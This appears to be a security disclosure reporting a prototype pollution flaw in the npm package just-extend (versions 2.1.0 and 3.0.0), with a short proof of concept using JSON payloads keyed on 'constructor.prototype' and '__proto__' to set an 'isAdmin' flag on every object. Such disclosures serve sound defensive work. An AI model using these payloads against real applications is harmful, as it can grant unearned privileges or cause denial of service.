I would like to report a prototype pollution vulnerability in just-extend
It allows an attacker to inject properties on Object.prototype.
module name: just-extendversion:2.1.0, and 3.0.0npm page: https://www.npmjs.com/package/just-extend
Part of a library of zero-dependency npm modules that do just do one thing.
Guilt-free utilities for every occasion.
723,414 downloads in the last week
This is a variant of this vulnerability:
https://hackerone.com/reports/310443
The functions just-extend
can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
Craft an object of form {constructor: {prototype: {...}}}
or {__proto__: {...}}
and send it to just-extend
.
var extend = require('just-extend');
var payload1 = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
extend(true, {}, payload1);
console.log({}.isAdmin); // true
var payload2 = JSON.parse('{"__proto__": {"isAdmin2": true}}');
extend(true, {}, payload2);
console.log({}.isAdmin2); // true
Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443